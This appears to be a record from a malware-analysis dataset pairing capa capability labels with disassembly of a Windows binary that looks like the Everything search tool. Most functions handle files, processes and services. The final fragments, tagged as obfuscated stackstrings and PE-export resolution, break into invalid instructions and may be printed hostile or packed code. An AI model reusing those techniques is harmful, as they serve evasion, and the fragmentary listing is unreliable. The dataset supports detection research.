joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a20f0
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x20c
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x208], eax
cmp byte [0x58b6a5], 0
je 0x4a2198
mov eax, esi
call fcn.004a2000
test eax, eax
je 0x4a2198
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
push esi
call dword [0x598e10]
test eax, eax
je 0x4a2198
lea ecx, [esi - 0x10]
shl eax, 0x10
cmp ecx, 0x80
ja case.0x4a214c.19
movzx ecx, byte [ecx + 0x4a21bc]
jmp dword [ecx*4 + 0x4a21b0]
or eax, 0x2000000
jmp case.0x4a214c.19
or eax, 0x1000000
push 0x104
lea edx, [esp + 4]
push edx
push eax
call dword [0x598de0]
test eax, eax
je 0x4a2198
lea eax, [esp]
push eax
push edi
call fcn.00523fd0
mov eax, 1
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.00549930
add esp, 0x20c
ret
mov ecx, dword [esp + 0x208]
xor ecx, esp
xor eax, eax
call fcn.00549930
add esp, 0x20c
ret

Function at 0x4a2570
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x114
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x110], eax
lea eax, [esp]
push eax
call fcn.00523650
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 4]
push ecx
call fcn.00523fd0
mov edx, dword [esp + 8]
push 0
push 0
push edx
call fcn.00404f00
mov dword [0x599188], eax
lea eax, [esp]
push eax
call fcn.00527550
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.00549930
add esp, 0x114
ret

Function at 0x4a2730
Capabilities:
Terminate process

Disassembly:
push ecx
push edi
push str.EVERYTHING_TASKBAR_NOTIFICATION
call fcn.004ac210
mov edi, eax
test edi, edi
je 0x4a27b5
lea eax, [esp + 4]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x4a27b5
mov ecx, dword [esp + 4]
push esi
push ecx
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0
push 0x10
push edi
mov esi, eax
call dword [0x598e1c]
push 0xea60
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4a27ad
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x4a27ad
push str.Timed_out_while_waiting_for_Everything.exe_to_close
push str._main_close_existing_process
push 0x1bb
push str.._srcmain.c
call fcn.0048f230
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
pop ecx
ret
Function at 0x4a9b70
Capabilities:
Move file

Disassembly:
sub esp, 0x42c
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x428], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x43c]
push edi
mov edi, dword [esp + 0x444]
lea eax, [esp + 0x224]
push eax
call fcn.00523650
lea ecx, [esp + 0x10]
push ecx
call fcn.00523650
push esi
lea edx, [esp + 0x228]
push edx
call fcn.00527ca0
push edi
lea eax, [esp + 0x14]
push eax
call fcn.00527ca0
mov ebp, dword [esp + 0x448]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x22c]
xor ecx, ecx
test ebp, ebp
setne cl
or ecx, 2
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
mov ebx, dword [esp + 0x44c]
jne 0x4a9c66
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
je 0x4a9c15
push edi
push esi
push eax
push str.MoveFileExW__:_GetLastError__:__d:_Failed_to_move_file_from__s_to__s_n
call fcn.0048f080
add esp, 0x10
xor esi, esi
jmp 0x4a9c8d
test ebp, ebp
je 0x4a9c35
test ebx, ebx
je 0x4a9c2a
mov ecx, dword [esp + 0x18]
push ecx
call dword [0x598d78]
jmp 0x4a9c35
mov edx, dword [esp + 0x18]
push edx
call dword [0x598ce8]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x22c]
push eax
push ecx
call dword [0x598d6c]
test eax, eax
jne 0x4a9c66
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MoveFileW__:_GetLastError__:__d:_Failed_to_move_file_from__s_to__s_n
call fcn.0048f080
add esp, 0x10
xor esi, esi
jmp 0x4a9c8d
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x22c]
neg ebx
push edx
sbb ebx, ebx
push eax
and ebx, 0x1ffff
mov esi, 1
push 5
add ebx, esi
push ebx
call dword [0x598d8c]
lea ecx, [esp + 0x10]
push ecx
call fcn.00527550
lea edx, [esp + 0x224]
push edx
call fcn.00527550
mov ecx, dword [esp + 0x438]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00549930
add esp, 0x42c
ret 0x10

Function at 0x4aba70
Capabilities:
Get file size

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esi + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [esi], eax
pop esi
jne 0x4aba9b
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4aba9b
xor eax, eax
ret 8
mov eax, 1
ret 8

Function at 0x4ad5c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x210
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x20c], eax
mov ecx, dword [esp + 0x218]
push esi
push edi
mov edi, dword [esp + 0x21c]
lea eax, [esp + 8]
push eax
push ecx
xor esi, esi
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x4ad626
mov eax, dword [esp + 8]
lea edx, [esp + 0xc]
push edx
push eax
call dword [0x598d98]
test eax, eax
je 0x4ad61b
lea ecx, [esp + 0xc]
push ecx
push edi
call fcn.00523fd0
mov esi, 1
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [esp + 0x214]
pop edi
mov eax, esi
pop esi
xor ecx, esp
call fcn.00549930
add esp, 0x210
ret 8
Function at 0x4b9f70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x21c
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x218], eax
push edi
xor edi, edi
call fcn.004aefd0
test eax, eax
jne 0x4ba0d1
push ebp
push esi
lea eax, [esp + 0x10]
push eax
call fcn.00523650
lea esi, [esp + 0x10]
call fcn.004b8df0
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
mov esi, eax
mov dword [esp + 0xc], esi
call ebp
sub eax, esi
cmp eax, 0xea60
ja 0x4ba0c5
push ebx
mov ebx, dword [0x598cdc]
lea ecx, [ecx]
mov ecx, dword [esp + 0x1c]
push 0
push 0x40000000
push 3
push 0
push 0
push 0xc0000000
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x4ba02e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Open_pipe_failed__d_n
call fcn.0048f080
add esp, 8
call fcn.004b8c30
test eax, eax
je 0x4ba0c4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebp
sub eax, dword [esp + 0x10]
cmp eax, 0xea60
jbe 0x4b9fd0
jmp 0x4ba0c4
push 0xb8
call fcn.004a47b0
push 0xb8
mov edi, eax
push 0
push edi
call fcn.0054a020
mov ebx, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
add esp, 0xc
lea edx, [edi + 0x64]
push edx
call ebx
lea eax, [edi + 0x7c]
push eax
call ebx
lea ecx, [edi + 0x94]
push ecx
call ebx
mov dword [edi], esi
call fcn.004acc50
mov dword [edi + 0x14], eax
call fcn.004acc50
mov edx, dword [esp + 0x230]
mov dword [edi + 0x28], eax
mov eax, dword [esp + 0x234]
mov dword [edi + 0x5c], edx
mov dword [edi + 0x60], eax
call fcn.004acc50
mov dword [edi + 0x50], eax
call fcn.004acc50
mov dword [edi + 0x54], eax
call fcn.004acc50
push edi
push 0x4b9bd0
mov dword [edi + 0x58], eax
call fcn.004b21c0
mov edx, edi
mov dword [edi + 0x4c], eax
call fcn.004b9f30
test eax, eax
jne 0x4ba0c4
push edi
call fcn.004b8f50
xor edi, edi
pop ebx
lea ecx, [esp + 0x10]
push ecx
call fcn.00527550
pop esi
pop ebp
mov ecx, dword [esp + 0x21c]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00549930
add esp, 0x21c
ret 8

Function at 0x4ba390
Capabilities:
Terminate process

Disassembly:
sub esp, 0x24
push ebx
push edi
push str.terminate_service..._n
xor ebx, ebx
call fcn.0048f080
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
add esp, 4
push 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x4ba416
lea edx, [esp + 0x34]
push edx
push 0x24
lea eax, [esp + 0x10]
push eax
push ebx
push edi
call dword [0x58ef78]
test eax, eax
je 0x4ba40f
mov ecx, dword [esp + 0x24]
push esi
push ecx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4ba40e
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x4ba407
push str.Service_terminated_n
call fcn.0048f080
add esp, 4
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, ebx
pop ebx
add esp, 0x24
ret 8
Function at 0x4ba420
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x28
mov eax, dword [esp + 0x38]
push esi
push eax
xor esi, esi
push str.wait_for_service_state__u..._n
mov dword [esp + 0xc], esi
call fcn.0048f080
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x38]
add esp, 8
push 4
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
mov dword [esp + 0x34], eax
je 0x4ba4e8
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
push ebp
push edi
call esi
mov edi, eax
call esi
mov ebx, dword [esp + 0x44]
sub eax, edi
cmp eax, ebx
jae 0x4ba4b3
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
mov edx, dword [esp + 0x40]
lea eax, [esp + 0x3c]
push eax
push 0x24
lea ecx, [esp + 0x1c]
push ecx
push 0
push edx
call dword [0x58ef78]
test eax, eax
je 0x4ba4cf
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x18], eax
je 0x4ba4c7
push 0xa
call ebp
call esi
sub eax, edi
cmp eax, ebx
jb 0x4ba480
mov ecx, dword [esp + 0x48]
push ecx
push str.wait_for_service_state__u_timeout_n
call fcn.0048f080
add esp, 8
jmp 0x4ba4cf
mov dword [esp + 0x10], 1
mov edx, dword [esp + 0x40]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x28
ret 0x10
mov eax, esi
pop esi
add esp, 0x28
ret 0x10
Function at 0x4ba500
Capabilities:
Start service

Disassembly:
sub esp, 0x208
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x204], eax
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x4ba628
push ebp
push esi
lea eax, [esp + 0xc]
push eax
call fcn.004ba2e0
push 0x10
lea ecx, [esp + 0x10]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4ba5df
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4ba5ad
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push eax
push str.start_service__08x_n
call fcn.0048f080
add esp, 8
cmp dword [esp + 0x21c], 0
je 0x4ba5ac
call ebx
cmp eax, 0x420
je 0x4ba5ac
call ebx
push eax
mov eax, dword [0x58eeec]
mov edx, dword [eax + 0x1048]
mov eax, dword [eax]
push edx
push eax
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
pop ebx
push 4
push 0xea60
lea ecx, [esp + 0x14]
push ecx
push edi
call fcn.004ba420
push esi
call ebp
push edi
call ebp
pop esi
pop ebp
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.00549930
add esp, 0x208
ret 4
cmp dword [esp + 0x218], 0
je 0x4ba60b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov edx, dword [eax + 0x103c]
mov eax, dword [eax]
push edx
push eax
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
push edi
call ebp
pop esi
pop ebp
pop edi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.00549930
add esp, 0x208
ret 4
cmp dword [esp + 0x210], 0
je 0x4ba654
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x1044]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
mov ecx, dword [esp + 0x208]
pop edi
xor ecx, esp
call fcn.00549930
add esp, 0x208
ret 4
Function at 0x4ba670
Capabilities:
Stop service

Disassembly:
sub esp, 0x224
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x220], eax
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x4ba7e3
push ebx
push esi
lea eax, [esp + 0x28]
push eax
call fcn.004ba2e0
push 0x20
lea ecx, [esp + 0x2c]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4ba79a
lea edx, [esp + 0xc]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4ba74e
push 1
push 0xea60
lea eax, [esp + 0x30]
push eax
push edi
call fcn.004ba420
test eax, eax
jne 0x4ba77a
lea ecx, [esp + 0x28]
push ecx
push edi
call fcn.004ba390
test eax, eax
jne 0x4ba77a
cmp dword [esp + 0x234], eax
je 0x4ba77a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov edx, dword [eax + 0x104c]
mov eax, dword [eax]
push edx
push eax
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.00549930
add esp, 0x224
ret 4
cmp dword [esp + 0x234], 0
je 0x4ba77a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x104c]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.00549930
add esp, 0x224
ret 4
cmp dword [esp + 0x234], 0
je 0x4ba7c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x103c]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
push edi
call ebx
pop esi
pop ebx
pop edi
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.00549930
add esp, 0x224
ret 4
cmp dword [esp + 0x22c], 0
je 0x4ba80f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x1044]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
mov ecx, dword [esp + 0x224]
pop edi
xor ecx, esp
call fcn.00549930
add esp, 0x224
ret 4
Function at 0x4ba830
Capabilities:
Delete service

Disassembly:
sub esp, 0x208
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x4ba919
push ebp
push esi
lea eax, [esp + 0xc]
push eax
call fcn.004ba2e0
push 0
call fcn.004ba670
push 0x10000
lea ecx, [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4ba8db
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x4ba8d1
cmp dword [esp + 0x218], eax
je 0x4ba8d1
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0x430
je 0x4ba8d0
call edi
push eax
mov eax, dword [0x58eeec]
mov edx, dword [eax + 0x1050]
mov eax, dword [eax]
push edx
push eax
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
pop edi
push esi
call ebp
push ebx
call ebp
pop esi
pop ebp
jmp 0x4ba945
cmp dword [esp + 0x218], 0
je 0x4ba912
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x424
je 0x4ba912
call esi
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x103c]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
push ebx
call ebp
pop esi
pop ebp
jmp 0x4ba945
cmp dword [esp + 0x210], 0
je 0x4ba945
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x1044]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
push 0
push str.InstallService
call fcn.004fdf70
mov ecx, dword [esp + 0x208]
pop ebx
xor ecx, esp
call fcn.00549930
add esp, 0x208
ret 4
Function at 0x4ba970
Capabilities:
Create service
Delete service
Persist via windows service

Disassembly:
sub esp, 0x428
mov eax, dword [0x597fb8]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [esp + 0x430]
mov ecx, dword [esp + 0x434]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
call ebx
mov esi, eax
test esi, esi
je 0x4ba9f8
lea edx, [esp + 0x230]
push edx
call fcn.004ba2e0
push 0
call fcn.004ba670
push 0x10000
lea eax, [esp + 0x234]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x4ba9f1
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
push str.InstallService
call fcn.004fdf70
push str.install_service..._n
mov dword [esp + 0x14], 0x1e
call fcn.0048f080
add esp, 4
push 2
push 0
push 0
call ebx
mov ebx, dword [esp + 0x43c]
mov esi, eax
test esi, esi
je 0x4bab2f
mov ebp, dword [sym.imp.ADVAPI32.dll_CreateServiceW]
jmp 0x4baa40
lea ecx, [esp + 0x1c]
push ecx
call fcn.00523650
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
push edx
push eax
lea ecx, [esp + 0x24]
push ecx
xor edi, edi
call fcn.004ba1e0
lea edx, [esp + 0x230]
push edx
call fcn.004ba2e0
mov eax, dword [esp + 0x24]
push edi
push edi
push edi
push edi
push edi
push eax
push edi
push 2
push 0x10
push 2
lea ecx, [esp + 0x258]
push ecx
mov edx, ecx
push edx
push esi
call ebp
test eax, eax
je 0x4baa9f
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call fcn.004ba500
jmp 0x4baaf4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x4baab4
push ebx
call fcn.004ba500
jmp 0x4baaf4
cmp dword [esp + 0x10], 0
je 0x4baad4
cmp eax, 0x430
jne 0x4baad4
sub dword [esp + 0x10], 1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4baaf9
test ebx, ebx
je 0x4baaf4
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x1040]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
mov edi, 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [esp + 0x1c]
push eax
call fcn.00527550
test edi, edi
jne 0x4bab55
push str.install_service..._n
call fcn.0048f080
add esp, 4
push 2
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
jne 0x4baa40
test ebx, ebx
je 0x4bab55
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x58eeec]
mov ecx, dword [eax + 0x1044]
mov edx, dword [eax]
push ecx
push edx
push 0x10
push 0
call fcn.004aa1b0
add esp, 0x14
push 1
push str.InstallService
call fcn.004fdf70
mov ecx, dword [esp + 0x434]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00549930
add esp, 0x428
ret 0xc
Function at 0x4c46af
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x4c46ea
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x4c46d1
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x4c46e2
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x4c46ec
inc edi
add eax, 0x28
cmp edi, esi
jb 0x4c46c7
xor eax, eax
pop edi
pop esi
ret

Function at 0x4c46b0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x4c46ea
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x4c46d1
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x4c46e2
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x4c46ec
inc edi
add eax, 0x28
cmp edi, esi
jb 0x4c46c7
xor eax, eax
pop edi
pop esi
ret

Function at 0x4c4730
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov esi, dword [edi + 0x3c]
add esi, edi
mov ebx, dword [esi + 0x78]
call fcn.004c466f
xchg edx, eax
xor cl, byte [eax]
mov byte [esi + 0x53], dl
call fcn.004c46af
pop ecx
test eax, eax
pop ecx
je 0x4c4802
push edi
push esi
push ebx
call fcn.004c46ef
add esp, 0xc
call fcn.004c466f
dec esp
or esi, ecx
push ecx
mov esi, dword [esi + 0x78]
test esi, esi
invalid
invalid
xchg ecx, eax
add byte [eax], al

Function at 0x4c4a10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
neg dl
mov byte [ebp - 9], 0xbf
call fcn.004c467f
push eax
push esi
push dword [ebp + 8]
call fcn.004c4634
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004c467f
push eax
push esi
push dword [ebp + 8]
call fcn.004c4634
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
Function at 0x4c4f00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.004c467f
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004c4634
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4

Function at 0x4c4f60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
invalid
test dword [ecx - 4], ecx
invalid